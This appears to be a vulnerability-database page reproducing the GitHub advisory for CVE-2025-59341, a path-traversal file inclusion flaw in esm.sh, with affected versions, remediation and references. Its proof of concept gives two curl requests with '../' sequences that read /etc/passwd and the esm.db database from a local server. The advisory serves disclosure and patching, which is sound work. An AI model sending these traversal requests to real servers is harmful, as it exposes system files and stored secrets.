CVE-2025-59341: esm.sh has File Inclusion issue
Summary A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources). Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise.
Published Sep 17, 2025 · Updated Oct 29, 2026
Affected packages
github.com/esm-dev/esm.sh
- Ecosystem
- Go
- Affected
- <= 136
- Fixed in
- No patched version yet
- Check
go list -m github.com/esm-dev/esm.sh
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).
Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise. Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.
Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
---
Proof of Concept
- Using this default config file that I copy from the repo, the server is running at
http://localhost:9999with this commandgo run server/esmd/main.go --config=config.json
{
"port": 9999,
"npmRegistry": "https://registry.npmjs.org/",
"npmToken": "******"
}
- Trigger the LFI vulnerability by sending this command below to read a local file
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'---
Remediation
Simply remove any .. in the URL path before actually process the file. See more details in this guide
Credits
Credited to j3ssie, A11riseforme.
References
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r
- https://nvd.nist.gov/vuln/detail/CVE-2025-59341
- https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45
- https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
- https://pkg.go.dev/vuln/GO-2025-3962
- https://github.com/advisories/GHSA-49pv-gwxp-532r
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-44593
esm.sh: Legacy Route Path Traversal Can Lead to RCE
high8.7May 12, 2026CVE-2026-44594
esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files
high7.5May 12, 2026CVE-2025-50180
esm.sh is vulnerable to full-response SSRF
high8.7Feb 25, 2026CVE-2026-27730
esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route
high8.6Feb 25, 2026CVE-2026-23644
esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
high7.7No fixJan 20, 2026CVE-2025-65025
esm.sh CDN service has arbitrary file write via tarslip
high8.2Nov 19, 2025
